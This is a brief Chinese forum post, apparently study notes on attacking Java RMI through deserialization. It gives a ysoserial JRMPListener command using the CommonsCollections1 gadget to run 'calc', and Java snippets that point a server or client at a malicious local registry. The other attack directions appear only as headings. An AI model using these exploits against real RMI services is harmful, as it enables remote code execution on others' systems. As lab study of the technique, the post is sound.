首页
社区
课程
招聘
[原创] java安全-02RMI
发表于: 2022-3-31 14:14 5047

[原创] java安全-02RMI

2022-3-31 14:14
5047

基础知识

  • 动态代理
  • 反射

攻击方式

注册端攻击服务端

1
java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
1
2
3
4
5
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {
    //开启一个恶意的reg,然后server去过去链接注册,则会中招
    String url = "rmi://127.0.0.1:1099/setUser";
    Naming.unbind(url);
}

注册端攻击客户端

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
    //PS F:\tools\EXP> java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
    try{
        String url = "rmi://127.0.0.1:1099/exp";
        User user = (User) Naming.lookup(url);
 
    }catch(Exception e){
        e.printStackTrace();
    }
}

服务端攻击注册端

  1. 注册端开启

  2. Server端利用CC1进行攻击

服务端攻击客户端

  1. 服务端将恶意类注册

  2. 客户端加载执行


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//